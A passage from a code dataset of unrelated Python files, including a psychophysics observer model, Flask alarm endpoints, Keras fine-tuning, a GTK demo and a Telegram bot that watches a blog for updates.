g_t))\n\n def D_to_g(self, D_t):\n return np.exp(D_t) / (1 + np.exp(D_t))\n\n def p_gtp1_C(self, C, g_t, g_tp1, sigma, mu):\n D_t = self.g_to_D(g_t)\n D_tp1 = self.g_to_D(g_tp1)\n jacobian_factor = 1 / (g_t * (1 - g_t))\n\n draw = norm.pdf(D_tp1, D_t + mu[C], sigma[C])\n\n return jacobian_factor * draw\n\n def fixed_trans_probs(self, sigma, mu, g_values, C):\n dg = g_values[1] - g_values[0]\n size = g_values.shape[0]\n prob_grid = np.zeros((size, size))\n for i, g_t in enumerate(g_values):\n updates = self.p_gtp1_C(C, g_t, g_values, sigma, mu)\n updates = updates / (np.sum(updates) * dg)\n prob_grid[i, :] = updates\n\n return prob_grid\n\n def simulate_observer(self, T, dt, t_delay, g_values, mu, sigma, decisions, C):\n if C != 1 and C != 0:\n raise ValueError('condition C must be 0 (abs) or 1 (pres)')\n\n dec_vec = decisions[:, 0]\n abs_bound = g_values[np.amax(np.where(dec_vec == 1)[0])]\n pres_bound = g_values[np.where(dec_vec == 2)[0][0]]\n\n D_t = 0\n t = 0\n\n g_trajectory = np.ones(int(T / dt)) * 0.5\n D_trajectory = np.zeros(int(T / dt))\n\n while t < T:\n D_t = D_t + np.random.normal(mu[C] * dt, sigma[C] * dt)\n\n g_t = self.D_to_g(D_t)\n D_trajectory[int(t / dt)] = D_t\n g_trajectory[int(t / dt)] = g_t\n t += dt\n\n if g_t < abs_bound:\n return (0, t + t_delay, g_trajectory, D_trajectory)\n\n if g_t > pres_bound:\n return (1, t + t_delay, g_trajectory, D_trajectory)\n\n # Return NaN if end of trial reached with no decision\n return (np.NaN, T, g_trajectory, D_trajectory)\n\n def fp_observer_diffusion(self, T, dt, sigma, mu, prob_grid, g_values):\n observerarr = np.zeros((g_values.shape[0], int(T / dt)))\n observerarr[int(observerarr.shape[0] / 2), 0] = 1\n\n fractions = np.zeros((3, int(T / dt)))\n fractions[2, 0] = 1\n for i in range(1, int(T / dt)):\n currstep = np.zeros(g_values.shape[0])\n for j, g_t in enumerate(g_values):\n currstep = currstep + prob_grid[j, :] * observerarr[j, i-1]\n if 1 in self.decisions[:, i]:\n lowerbound = np.amax(np.where(self.decisions[:, i] == 1)[0]) + 1\n else:\n lowerbound = 0\n\n if 2 in self.decisions[:, i]:\n upperbound = np.where(self.decisions[:, i] == 2)[0][0]\n else:\n upperbound = g_values.shape[0] + 1\n observerarr[lowerbound:upperbound, i] = currstep[lowerbound:upperbound]\n fractions[2, i] = np.sum(currstep[lowerbound:upperbound])\n fractions[0, i] = np.sum(currstep[:lowerbound])\n fractions[1, i] = np.sum(currstep[upperbound:])\n return fractions\n\n def get_kde_dist(self):\n dists = []\n rts_matrix = []\n perturb = np.random.normal(0, 0.01)\n sim_rt = [self.rt_abs, self.rt_pres]\n for i in range(2):\n cur_rt = sim_rt[i]\n for j in range(2):\n if not np.any(cur_rt[:, 0] == j):\n # case where there are none of the responses given in the model simulation\n dists.append(uniform)\n rts_matrix.append([])\n else:\n i_j_sim_rt = cur_rt[cur_rt[:, 0] == j, 1]\n # if they are all the same or of size 1, perturb to allow kde\n if np.var(i_j_sim_rt) == 0 or i_j_sim_rt.size == 1:\n i_j_sim_rt = np.append(i_j_sim_rt, i_j_sim_rt[0] + perturb)\n\n rts_matrix.append([i_j_sim_rt])\n dists.append(gaussian_kde(i_j_sim_rt, bw_method=0.1))\n\n return np.reshape(dists, (2, 2)), np.reshape(rts_matrix, (2, 2))\n","sub_path":"codes/observers.py","file_name":"observers.py","file_ext":"py","file_size_in_byte":6432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"256772813","text":"from distutils.version import LooseVersion\n\nfrom sphinx import __version__\n\nSPHINX_LT_17 = LooseVersion(__version__) < LooseVersion('1.7')\n\nif SPHINX_LT_17:\n from sphinx import build_main\nelse:\n from sphinx.cmd.build import build_main\n\n\nBASIC_CONF = \"\"\"\nfrom sphinx_astropy.conf import *\n\"\"\"\n\nBASIC_INDEX = \"\"\"\nTitle\n=====\n\nJust a test\n\"\"\"\n\n\ndef test_conf(tmpdir):\n\n # Just make sure the docs build with the default sphinx-astropy configuration\n\n with open(tmpdir.join('conf.py').strpath, 'w') as f:\n f.write(BASIC_CONF)\n\n with open(tmpdir.join('index.rst').strpath, 'w') as f:\n f.write(BASIC_INDEX)\n\n src_dir = tmpdir.strpath\n html_dir = tmpdir.mkdir('html').strpath\n\n if SPHINX_LT_17:\n status = build_main(argv=['sphinx-build', '-W', '-b', 'html', src_dir, html_dir])\n else:\n # As of Sphinx 1.7, the first argument is now no longer ignored\n status = build_main(argv=['-W', '-b', 'html', src_dir, html_dir])\n\n assert status == 0\n","sub_path":"sphinx_astropy/tests/test_conf.py","file_name":"test_conf.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"255196307","text":"from datetime import datetime\nimport calendar\nimport dateutil\nimport sys\n\ncal = calendar.Calendar()\ncal.setfirstweekday(calendar.SUNDAY)\n\ndef week_of_month(date):\n \"\"\"\n return the week of a month for a given date acconding google search query API works\n \"\"\"\n weeks = cal.monthdayscalendar(date.year, date.month)\n for week in weeks:\n if date.day in week:\n if week[0] > 0:\n return '{}.{}.{}'.format(week[0], date.month, date.year)\n else:\n month = (date.month - 1) if calendar.month_name[date.month] != 'January' else 12\n year = date.year if calendar.month_name[date.month] != 'January' else (date.year - 1)\n last = cal.monthdayscalendar(year, month)\n return '{}.{}.{}'.format(last[-1][0], month, year)\n","sub_path":"scripts/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"558958433","text":"\nfrom flask import request\nfrom flask_restful import Resource\n\nfrom blueprints.message.services import alarm_info_add, AlarmSchema, alarm_all\nfrom models import Alarm_info\n# from common.auth_utils import login_required\nfrom common.utils import json_response\nfrom models import User, Camera, Server, Alarm_info\nfrom exts import db\nfrom flask import request, jsonify, session\nfrom flask_restful import Resource\nfrom common.pagination import paginate\nfrom flask_apispec import use_kwargs\nfrom marshmallow import fields\n\n#查看所有的报警信息\nclass AlarmMessageAll(Resource):\n\n def get(self):\n args = request.args\n page = args.get('page', 1)\n size = args.get('size', 10)\n start_time = args.get('start_time') # 开始时间\n end_time = args.get('end_time') # 结束时间\n alarm_type = args.get('alarm_type') # 报警类型\n camera_obj = Alarm_info.query.order_by(Alarm_info.alarm_id.desc())\n if camera_obj:\n data = alarm_all(alarm_type, camera_obj, start_time, end_time, page, size)\n return data\n else:\n return json_response(None, error_message='目前任何摄像头没有报错信息', status=400)\n\n\n# 某台摄像机下所有的报警信息,以及查看某条报警信息的内容\n\nclass AlarmMessage(Resource):\n\n def get(self, unique_camera_id):\n \"\"\"\n 查看某台摄像机下所有的报警信息\n :param camrea_id:\n :return:\n \"\"\"\n args = request.args\n page = args.get('page', 1)\n size = args.get('size', 10)\n start_time = args.get('start_time') # 开始时间\n end_time = args.get('end_time') # 结束时间\n alarm_type = args.get('alarm_type') #报警类型\n camera_obj =Alarm_info.query.filter_by(unique_camera_id = unique_camera_id).order_by(Alarm_info.alarm_id.desc())\n if camera_obj:\n data = alarm_all(alarm_type, camera_obj, start_time, end_time, page, size)\n return data\n else:\n return json_response(None, error_message='该设备下目前没有报错信息', status=400)\n\n\nclass AlarmMessageOperation(Resource):\n def post(self, alarm_id):\n \"\"\"\n 查看某条报警信息的内容\n :param camrea_id:\n :return:\n \"\"\"\n alarm_obj = Alarm_info.query.filter_by(alarm_id=alarm_id).first()\n alarm_shcema = AlarmSchema(many=True)\n alarm = alarm_shcema.dump(alarm_obj.items)\n\n return jsonify({'alarm':alarm})\n\n def delete(self, alarm_id):\n \"\"\"\n 删除某条报警信息\n \"\"\"\n alarm_obj = Alarm_info.query.filter_by(alarm_id=alarm_id).first()\n if alarm_obj:\n db.session.delete(alarm_obj)\n db.session.commit()\n return jsonify({'msg':'删除成功', 'code':200})\n else:\n return jsonify({'msg':'匹配信息有误', 'code':400})\n\n\n# 批量删除报警信息\nclass AlarmMessageDelete(Resource):\n\n def delete(self):\n \"\"\"\n 批量删除报警信息\n :return:\n \"\"\"\n form = request.get_json()\n alarm_list = form.get('alarm_id')\n if alarm_list == []:\n return jsonify({'msg':'并未选择要删除的报警信息', 'code':400})\n for a in alarm_list:\n alarm_obj = Alarm_info.query.filter_by(alarm_id=a).first()\n if alarm_obj:\n try:\n db.session.delete(alarm_obj)\n db.session.commit()\n except:\n db.session.rollback()\n return jsonify({'msg':f'编码为{a}的报警信息删除失败', 'code':400})\n return jsonify({'msg':'批量删除成功', 'code':200})\n\n\n# 报警信息的添加\nclass AlarmMessageResource(Resource):\n\n def post(self):\n \"\"\"\n 添加报警信息\n :return:\n \"\"\"\n alarm = alarm_info_add()\n return alarm\n\n\n","sub_path":"blueprints/message/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"559022882","text":"# import functions from get_ao3.py and fanfiction.py \nfrom fanfiction import get_information \nfrom get_ao3 import get_stories\n# module handles files \nimport os \n\n# open ao3_stories.txt and make a list and use in imported functions \nfilename = 'file path name /python/projects/web_scrape/fics.txt'\n\nwith open(filename) as new_file:\n lines = new_file.read()\n\nfanfiction_names = lines.split('\\n')\n\n# delete old text file so it is not cluttered \nfile_name = 'file path name /Desktop/new_updates.txt'\nif os.path.exists(file_name):\n os.remove(file_name)\n\n#check fanfiction.net\nget_information(fanfiction_names)\n\n# check archiveofourown.org\nget_stories(fanfiction_names)\n\n# open the file so I won't have to manually do it \nos.system(\"open file path name /new_updates.txt\")\n\n\n\n\"\"\"\npath names for the imported functions if needed \nfile path name/Desktop/python/projects/web_scrape/\nfile path name /Desktop/python/projects/web_scrape/\n\"\"\"\n","sub_path":"updated_fanfic.py","file_name":"updated_fanfic.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"38594180","text":"from keras.applications.vgg16 import VGG16\nfrom keras.preprocessing import image\nfrom keras.applications.imagenet_utils import preprocess_input\nimport numpy as np\nfrom keras.layers import Convolution2D, MaxPooling2D, ZeroPadding2D\nfrom keras.layers import Activation, Dropout, Flatten, Dense, Input\nfrom keras.optimizers import Adam\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.models import Model\n\ntop_model_weights_path = './model_weights.h5'\ntrain_data_dir = '../../data/train'\nvalidation_data_dir = '../../data/test'\nnb_train_samples = 13994\nnb_validation_samples = 4665\nnb_epoch = 100\nimg_width, img_height = 150, 150\n\nif __name__ == '__main__':\n orig_model = VGG16(weights='imagenet', include_top=False)\n input_shape = (img_width, img_height, 3)\n img_input = Input(shape=input_shape)\n\n for layer in orig_model.layers:\n layer.trainable = False\n\n model = orig_model(img_input)\n # Block 6\n x = Convolution2D(512, 3, 3, activation='relu', border_mode='same', name='block6_conv1')(model)\n x = Convolution2D(512, 3, 3, activation='relu', border_mode='same', name='block6_conv2')(x)\n x = Convolution2D(512, 3, 3, activation='relu', border_mode='same', name='block6_conv3')(x)\n x = MaxPooling2D((2, 2), strides=(2, 2), name='block6_pool')(x)\n\n x = Flatten(name='flatten')(x)\n x = Dense(1024, activation='relu', name='fc1')(x)\n x = Dense(3, activation='softmax', name='predictions')(x)\n\n model = Model(input=img_input, output=x)\n\n model.compile(loss='categorical_crossentropy',\n optimizer='Adam',\n metrics=['accuracy'])\n\n train_datagen = ImageDataGenerator(\n rescale=1. / 255,\n zoom_range=0.2,\n horizontal_flip=True)\n\n test_datagen = ImageDataGenerator(rescale=1. / 255)\n\n train_generator = train_datagen.flow_from_directory(\n train_data_dir,\n target_size=(img_width, img_height),\n batch_size=32,\n class_mode='categorical')\n\n validation_generator = test_datagen.flow_from_directory(\n validation_data_dir,\n target_size=(img_width, img_height),\n batch_size=32,\n class_mode='categorical')\n\n model.fit_generator(\n train_generator,\n samples_per_epoch=nb_train_samples,\n nb_epoch=nb_epoch,\n validation_data=validation_generator,\n nb_val_samples=nb_validation_samples)\n\n model.save_weights(top_model_weights_path)\n\n print('Done fine tuning')","sub_path":"nx/fine_tune_from_imagenet.py","file_name":"fine_tune_from_imagenet.py","file_ext":"py","file_size_in_byte":2473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"262368304","text":"from contributors.models import Contributor\nfrom contributors.utils import misc\nfrom contributors.views import contributors\n\n\nclass ListView(contributors.ListView):\n \"\"\"A list of contributors with monthly contributions.\"\"\"\n\n template_name = 'contributors_for_month.html'\n context_object_name = 'contributors_list'\n queryset = Contributor.objects.visible_with_monthly_stats()\n\n def get_context_data(self, **kwargs):\n \"\"\"Add context.\"\"\"\n context = super().get_context_data(**kwargs)\n context['dt_month_ago'] = misc.datetime_month_ago()\n return context\n","sub_path":"contributors/views/contributors_for_month.py","file_name":"contributors_for_month.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"588627628","text":"import numpy as np\r\nfrom PIL import Image\r\n\r\n\r\ndef load_mnist(): # 读取离线的MNIST.npz文件。\r\n path = r'mnist.npz' # 放置mnist.py的目录，这里默认跟本代码在同一个文件夹之下。\r\n f = np.load(path)\r\n x_train, y_train = f['x_train'], f['y_train']\r\n x_test, y_test = f['x_test'], f['y_test']\r\n f.close()\r\n return (x_train, y_train), (x_test, y_test)\r\n\r\n\r\n(train_image, train_label), (test_image, test_label) = load_mnist()\r\nprint(train_image.shape)\r\nprint(train_label.shape)\r\n\r\n# 看第一张图片的数据\r\nprint(train_image[0])\r\n# 转化为图片\r\nim = Image.fromarray(train_image[0])\r\n# 看第一张图片的大小\r\nprint(im.size)\r\n# 看第一张图片\r\nim.show()\r\n","sub_path":"class_1_20200925/.history/procees_20200925113116.py","file_name":"procees_20200925113116.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"5246957","text":"from flask import Flask, request\nfrom flask_cors import CORS\nfrom flask_restful import Api\nfrom api.sportAPI import SoccerStats, SoccerDetails\n\napp = Flask(__name__)\napi = Api(app)\ncors = CORS(app)\n\n\n@app.route('/')\ndef welcome_server():\n return 'Bebot server is listening'\n\n\napi.add_resource(SoccerStats, '/api/<string:method>')\napi.add_resource(SoccerDetails, '/api/<string:method>/<int:match_ID>')\n\nif __name__ == '__main__':\n app.run(port=5000, host='0.0.0.0')\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"65838679","text":"import gi\n\ngi.require_version('Gtk','3.0')\nfrom gi.repository import Gtk\n\n\nclass MiVentana(Gtk.Window):\n\tdef __init__(self,*args,**kwargs):\n\t\tsuper(MiVentana,self).__init__(*args,**kwargs)\n\t\tself.set_default_size(500,300)\n\t\tself.connect('delete-event',Gtk.main_quit)\n\t\tself.agregar_contenedor()\n\t\tself.agregar_entrada()\n\t\tself.agregar_boton()\n\t\tself.agregar_lista()\n\t\t\n\n\n\tdef agregar_contenedor(self):\n\t\tself.contenedor = Gtk.Grid()\n\t\tself.contenedor.set_column_homogeneous(True)\n\t\tself.add(self.contenedor)\n\n\n\n\tdef agregar_entrada (self):\n\t\tself.entrada = Gtk.Entry()\n\t\tself.contenedor.attach(self.entrada,0,0,2,1)\n\t\tself.entradaMonto = Gtk.Entry()\n\t\tself.contenedor.attach(self.entradaMonto,2,0,1,1)\n\n\n\n\n\tdef agregar_boton(self):\n\t\tself.boton = Gtk.Button('Agregar')\n\t\tself.label = Gtk.Label()\n\t\tself.contenedor.attach_next_to(self.label, self.entrada, Gtk.PositionType.BOTTOM, 1,1)\n\n\t\tself.contenedor.attach_next_to(\n\t\t\tself.boton,\n\t\t\tself.label,\n\t\t\tGtk.PositionType.BOTTOM,\n\t\t\t3,\n\t\t\t1\n\t\t\t)\n\n\t\t\n\n\n\tdef agregar_lista(self):\n\t\t\"\"\" ----CREA UN TREE VIEW----\n\t\t1. Crear el model de datos Gtk.ListStore(type,type,....type)\n\t\t2. Crear el widget que contiene o muestra los datos de modelo. TreeVieqw(<models>)\n\t\t3. Definir las colmnas y su contenido.\n\n\t\t3.1 crear celda para cada columna de la fila\n\t\t# Los CellRenderer son widget que sirven para mostrar contenido \n\t\t# dentro de otros widgets dependiendo de su tipo\n\t\t3.2 Crear columans (TreeVIew) del TreeView que mostraran los datos usando CellRenderer widgets como elementos hijos\n\t\t3.3 agregar cada treeViewColumn al Treeview widget\"\"\"\n\n\t\tself.modelo = Gtk.ListStore(str,float)\n\t\tself.lista_activos = Gtk.TreeView(self.modelo)\n\n\t\tdescripcion = Gtk.CellRendererText()\n\t\tcolumna_descripcion = Gtk.TreeViewColumn('Descripcion',descripcion,text=0)\n\n\t\tmonto = Gtk.CellRendererText()\n\t\tcolumna_monto = Gtk.TreeViewColumn('Monto',monto,text=1)\n\n\t\tself.lista_activos.append_column(columna_descripcion)\n\t\tself.lista_activos.append_column(columna_monto)\n\n\t\tself.contenedor.attach_next_to(\n\t\t\tself.lista_activos,\n\t\t\tself.boton,\n\t\t\tGtk.PositionType.BOTTOM,\n\t\t\t3, \n\t\t\t1)\n\n\t\tself.boton.connect('clicked',self.agregar_fila)\n\t\t\n\tdef agregar_fila(self,btn):\n\n\n\n\t\tif self.entrada.get_text() and self.entradaMonto.get_text():\n\t\t\ttextoDescrip = self.entrada.get_text()\n\t\t\ttextoMonto = self.entradaMonto.get_text()\n\t\t\tself.modelo.append([textoDescrip,float(textoMonto)])\n\t\t\tself.entrada.set_text('')\n\t\t\tself.entradaMonto.set_text('')\n\t\t\tself.label.set_text(\"\")\n\t\telse:\n\t\t\tself.label.set_markup('<b>Inserte los valores correctamente</b>')\n\n\n\t\t\n\n\n\t\t\n\n\n\n\n\n\nif __name__ == '__main__':\n\n\tventana = MiVentana()\n\tventana.show_all()\n\tGtk.main()","sub_path":"Python-gtk/ejercicio_treeview.py","file_name":"ejercicio_treeview.py","file_ext":"py","file_size_in_byte":2666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"550511050","text":"import pandas as pd\nfrom matplotlib import pyplot\nimport numpy as np\nimport tensorflow as tf\nfrom sklearn.preprocessing import MinMaxScaler\n\n# Model architecture parameters\nn_stocks = 500\nn_neurons_1 = 1024\nn_neurons_2 = 512\nn_neurons_3 = 256\nn_neurons_4 = 128\nn_target = 1\n\ndata = pd.read_csv('stock_100.csv')\ndata = data.drop(['DATE'], 1)\nn = data.shape[0]\np = data.shape[1]\ndata = data.values\n\ntrain_start = 0\ntrain_end = int(np.floor(0.8*n))\ntest_start = train_end\ntest_end = n\ndata_train = data[np.arange(train_start, train_end), :]\ndata_test = data[np.arange(test_start, test_end), :]\n\nscaler = MinMaxScaler()\nscaler.fit(data_train)\ndata_train = scaler.transform(data_train)\ndata_test = scaler.transform(data_test)\nX_train = data_train[:, 1:]\ny_train = data_train[:, 0]\nX_test = data_test[:, 1:]\ny_test = data_test[:, 0]\n\na = tf.placeholder(dtype=tf.int8)\nb = tf.placeholder(dtype=tf.int8)\nc = tf.add(a, b)\ngraph = tf.Session()\ngraph.run(c, feed_dict={a: 5, b: 4})\nX = tf.placeholder(dtype=tf.float32, shape=[None, n_stocks])\nY = tf.placeholder(dtype=tf.float32, shape=[None])\n\n","sub_path":"predictor_NN.py","file_name":"predictor_NN.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"362036447","text":"#-*- coding: utf-8 -*-\n\"\"\"\nModify and return the given map as follows:\nif the key \"a\" has a value, set the key \"b\" to have that same value.\nIn all cases remove the key \"c\", leaving the rest of the map unchanged.\n\nmapShare({\"a\": \"aaa\", \"b\": \"bbb\", \"c\": \"ccc\"}) → {\"a\": \"aaa\", \"b\": \"aaa\"}\nmapShare({\"b\": \"xyz\", \"c\": \"ccc\"}) → {\"b\": \"xyz\"}\nmapShare({\"a\": \"aaa\", \"c\": \"meh\", \"d\": \"hi\"}) → {\"a\": \"aaa\", \"b\": \"aaa\", \"d\": \"hi\"}\n\"\"\"\n\n# reverse S\n# ans = 0\n# seq = 0\n# if digit . add up to ans\n# if char is digit:\n# ans += int(char) * (10**i)\n# i++\n# else: char is alphabet: seq = 0\n\ndef sol(D):\n for k in D.copy().keys():\n if k == \"a\":\n D[\"b\"] = D[\"a\"]\n elif k == \"c\":\n del D[\"c\"]\n return D\n\n\n\n\n\nimport sys\nsys.setrecursionlimit(314159265)\ntest = False\ntest = True\nif test:\n testcases = [\n ({\"a\": \"aaa\", \"b\": \"bbb\", \"c\": \"ccc\"}, {\"a\": \"aaa\", \"b\": \"aaa\"})\n , ({\"b\": \"xyz\", \"c\": \"ccc\"}, {\"b\": \"xyz\"})\n ,({\"a\": \"aaa\", \"c\": \"meh\", \"d\": \"hi\"}, {\"a\": \"aaa\", \"b\": \"aaa\", \"d\": \"hi\"})\n ]\n # n, k = 5, 5\n #S =list( map(int, \"4 2 6\".split()))\n for case in testcases:\n D, e = case\n ret = sol(D)\n print(ret)\n #assert(ret == e)\nelse:\n #n, k = map(int, input().split())\n S =list( map(int, input().split()))\n k, a, b = S\n print(sol(k, a, b))\n\n\n","sub_path":"gtdg/map01_map_share.py","file_name":"map01_map_share.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"628645893","text":"#encoding: utf-8\n\nfrom bs4 import BeautifulSoup\nimport re\nimport requests\nimport filecmp\nimport time\nimport telebot\nimport os\nimport sys\n\n# ENTRADA\n'''\ninfo = str(sys.argv[1])\nfile = open(info, 'r')\n\nsite = file.readline()[:-1]\nmateria = file.readline()[:-1]\ntempo = file.readline()\ndia = list(file.readline())\n\nfile.close()\n'''\n\n# ENTRADA PERSONALIZADA\nsite = \"https://<Blog>.blogspot.com.br/\" # Link do blog que deseja monitorar\nmateria = \"<NomeDisciplina>\" # Nome da disciplina\ntempo = \"<Tempo>\" # Tempo em segundos\ndia = [3,0,4] # <[d1,d2,d3]> onde di são os dias das aulas. Parâmetros: 0 - Dia Importante; 1 - Seg; 2 - Ter; ...; 4 - Qui; 5 - Sex\n\n# COMUNICAÇÃO DO BOT COM O TELEGRAM\nbot = telebot.TeleBot('<KeyBotTelegram>')\n\n# FUNÇÕES\n\ndef sendToUser(message):\n\tbot.send_message('<ChatID>', message)\n\ndef getPosts(data):\n\tsoup = BeautifulSoup(data, 'html.parser')\n\tsection = soup.select(\".blog-posts\")\n\treturn str(section)\n\nwhile True:\n\tcurrentTime = \"[\" + time.strftime(\"%d/%m/%Y %H:%M:%S\") + \"]\"\n\t\n\t# Criar arquivo de log\n\ttry:\n\t\tlog = open(materia+\".log\",'r') # Abre o arquivo caso ele já exista\n\t\ttextLog = log.readlines() # Carregar logs antigos\n\t\t#textLog = [] # Sobrepor logs antigos\n\t\tlog.close()\n\texcept:\n\t\tprint(\"ERRO: Não foi possível abrir arquivo de log\")\n\t\ttextLog = []\n\t\tlog = open(materia+\".log\",'w')\n\t\tlog.close()\n\n\t# Baixar página\n\ttry:\n\t\tr = requests.get(site)\n\t\tdata = r.text\n\t\tdata = getPosts(data)\n\texcept:\n\t\tprint(currentTime + \" Houve um erro ao efetuar o download da página.\")\n\t\ttextLog.append(currentTime + \" Houve um erro ao efetuar o download da página.\\n\")\n\t\n\t# VERFICADOR DOS SITES\n\ttry:\n\t\told = open(\"old\"+materia+\".html\",\"r\")\n\texcept:\n\t\told = open(\"old\"+materia+\".html\",\"w\")\n\t\told.write(data.encode('utf-8'))\n\t\told.close()\n\n\tnew = open(\"new\"+materia+\".html\",\"w\")\n\tnew.write(data.encode('utf-8'))\n\tnew.close()\n\n\toldName = 'old'+materia+'.html'\n\tnewName = 'new'+materia+'.html'\n\n\tif not (filecmp.cmp(oldName,newName)):\n\t\tmessage = \"Houve mudanças no site de \" + materia + \".\\nLink: \"+site+\"\\n\"\n\t\t\n\t\t# Info p/ o log\n\t\t#print(currentTime + \" -> Houve atualização.\")\n\t\ttextLog.append(currentTime + \" -> Houve atualização.\\n\")\n\n\t\t# Enviar notificação para o Telegram\n\t\ttry:\n\t\t\tsendToUser(message)\t\n\t\texcept:\n\t\t\t#print(currentTime + \" Ocorreu um erro na hora de enviar a mensagem para o Telegram\")\n\t\t\ttextLog.append(currentTime + \" Ocorreu um erro na hora de enviar a mensagem para o Telegram\\n\")\n\t\t\n\t\t# Atualizar arquivo antigo\n\t\told = open(\"old\"+materia+\".html\",\"w\")\n\t\told.write(data.encode('utf-8'))\n\t\told.close()\n\telse:\n\t\t# Info p/ o log\n\t\t#print(currentTime + \" -> Sem atualização.\")\n\t\ttextLog.append(currentTime + \" -> Sem atualização.\\n\")\n\n\t# Sleep\n\tweek = int(time.strftime(\"%w\"))\n\n\tif(int(dia[0]) == 0): # Dia de prova, verifica de 0,5h em 0,5h\n\t\t#print(currentTime + \" Verificando de 0,5h em 0,5h\")\n\t\ttextLog.append(currentTime + \" Verificando de 0,5h em 0,5h.\\n\")\n\t\t\n\t\t# Escreve no log, e fecha o arquivo.\n\t\tlog = open(materia+\".log\",'w')\n\t\tlog.writelines(textLog)\n\t\tlog.close()\n\n\t\ttime.sleep(1800)\n\n\telif(int(dia[0]) == week or int(dia[2]) == week): # No dia da aula, verifica de 1h em 1h\n\t\t#print(currentTime + \" Verificando de 1h em 1h.\")\n\t\ttextLog.append(currentTime + \" Verificando de 1h em 1h.\\n\")\n\t\t\n\t\t# Escreve no log, e fecha o arquivo.\n\t\tlog = open(materia+\".log\",'w')\n\t\tlog.writelines(textLog)\n\t\tlog.close()\n\n\t\ttime.sleep(3600)\n\n\telif(int(dia[0])-1 == week or int(dia[2])-1 == week): # Verificar no dia anterior à aula\n\t\t#print(currentTime + \" Verificando de 2h em 2h\")\n\t\ttextLog.append(currentTime + \" Verificando de 2h em 2h\\n\")\n\t\t\n\t\t# Escreve no log, e fecha o arquivo.\n\t\tlog = open(materia+\".log\",'w')\n\t\tlog.writelines(textLog)\n\t\tlog.close()\n\n\t\ttime.sleep(7200)\n\n\telse: # Caso, contrário, verifa pelo tempo dado\n\t\t# Escreve no log, e fecha o arquivo.\n\t\tlog = open(materia+\".log\",'w')\n\t\tlog.writelines(textLog)\n\t\tlog.close()\n\n\t\ttime.sleep(int(tempo))\n","sub_path":"script-botMonitoraSiteBlogspot.py","file_name":"script-botMonitoraSiteBlogspot.py","file_ext":"py","file_size_in_byte":3932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"550426588","text":"# -*-coding:utf-8 -*-\r\nfrom elasticsearch import Elasticsearch\r\nimport time\r\n\r\nes = Elasticsearch(\"219.224.134.220:9200\")\r\nindex_name = \"flow_timestamp\"\r\n\r\n\r\n###用户情绪特征表 user_emotion\r\nindex_info = {\r\n \"settings\": {\r\n \"number_of_shards\": 3, \r\n \"number_of_replicas\":1, \r\n \"analysis\":{ \r\n \"analyzer\":{\r\n \"my_analyzer\":{\r\n \"type\":\"pattern\",\r\n \"patern\":\"&\"\r\n }\r\n }\r\n }\r\n },\r\n \"mappings\":{\r\n \"text\":{\r\n \"properties\":{\r\n \"timestamp\":{#记录时间\r\n \"type\" : \"long\"\r\n },\r\n \"date\":{\r\n \"format\": \"dateOptionalTime\",\r\n \"type\":\"date\"\r\n }\r\n \r\n }\r\n }\r\n }\r\n }\r\n\r\n\r\nexist_indice = es.indices.exists(index = index_name)\r\n\r\nprint(exist_indice)\r\nif not exist_indice:\r\n print(es.indices.create(index = index_name, body=index_info, ignore = 400))\r\n\r\n","sub_path":"bigfive/cron/mappings/flow_timestamp_mapping.py","file_name":"flow_timestamp_mapping.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"292764081","text":"\"\"\"\nCopyright (c) 2017 Kwon Gyong Man\nSee the file license.txt for copying permission\n\"\"\"\nfrom apscheduler.schedulers.twisted import TwistedScheduler\n\n\nclass Character:\n def __init__(self, new_name, st, dx, iq, ht, di, dr):\n self.cha_name = new_name\n self.cha_st = st\n self.cha_dx = dx\n self.cha_iq = iq\n self.cha_ht = ht\n\n self.cha_di = di\n self.cha_dr = dr\n\n self.cha_speed = (dx + ht) / 4.0\n\n self.cha_acc_bonus = 0\n self.cha_avd_bonus = 0\n\n self.cha_maxhp = st * 10\n self.cha_hp = st * 10\n self.cha_maxfp = ht * 5\n self.cha_fp = ht * 5\n\n self.buff_dic = {}\n self.delay_ability_dic = {}\n\n self.scheduler = TwistedScheduler()\n self.scheduler.start()\n\n\nclass Player(Character):\n def __init__(self, new_name, st, dx, iq, ht, di, dr, speed):\n Character.__init__(self, new_name, st, dx, iq, ht, di, dr)\n\n self.cha_speed = self.cha_speed * speed\n\n\nclass Mob(Character):\n def __init__(self, new_name, st, dx, iq, ht, di, dr, max_hp):\n Character.__init__(self, new_name, st, dx, iq, ht, di, dr)\n\n self.cha_maxhp = max_hp\n self.cha_hp = max_hp\n","sub_path":"rpglib/character.py","file_name":"character.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"529212204","text":"##Junjie Lin 25792830\n\nimport 